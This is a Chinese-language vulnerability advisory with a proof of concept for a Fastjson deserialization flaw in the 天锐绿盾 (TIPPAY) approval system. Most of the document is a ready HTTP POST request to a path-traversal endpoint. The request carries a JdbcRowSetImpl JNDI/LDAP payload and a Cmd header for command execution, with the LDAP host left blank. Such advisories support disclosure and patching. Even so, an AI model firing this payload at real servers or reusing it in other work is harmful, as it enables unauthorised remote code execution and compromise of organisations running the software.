天锐绿盾审批系统 /trwfe/login.jsp/../rest/ext/app/fileopen/record 代码执行漏洞

2026-03-27 天锐绿盾审批系统 PoC Public

Description

天锐绿盾审批系统（TIPPAY）的 /trwfe/login.jsp/.%2e/rest/ext/app/fileopen/record 接口存在 Fastjson 反序列化漏洞。该漏洞影响 Fastjson 1.2.7 版本，请求体中 data 数组内的 JSON 对象被直接用于 JSONObject.parseObject 进行反序列化操作，未对用户输入进行安全过滤。攻击者可以通过构造恶意的 JSON 数据（使用 JdbcRowSetImpl 类）触发 JNDI 注入，从而执行任意命令或代码。使用 Java Chains 的 JNDILDAPDeserializePayload 下的 Fastjson 反序列化链配合 One For All Echo 回显来完成利用。

PoC

POST /trwfe/login.jsp/../rest/ext/app/fileopen/record HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Content-Length: 130
Cmd: echo qwe13r&&echo c2eFCaceeC2eBC67&&echo rty56u
Content-Type: application/json
X-Authorization: dir
Accept-Encoding: gzip
Connection: close

[
  {
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://",
    "autoCommit": true
  }
]

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates# TIPPAY Approval System /trwfe/login.jsp/../rest/ext/app/fileopen/record Code Execution Vulnerability

References

Related Vulnerabilities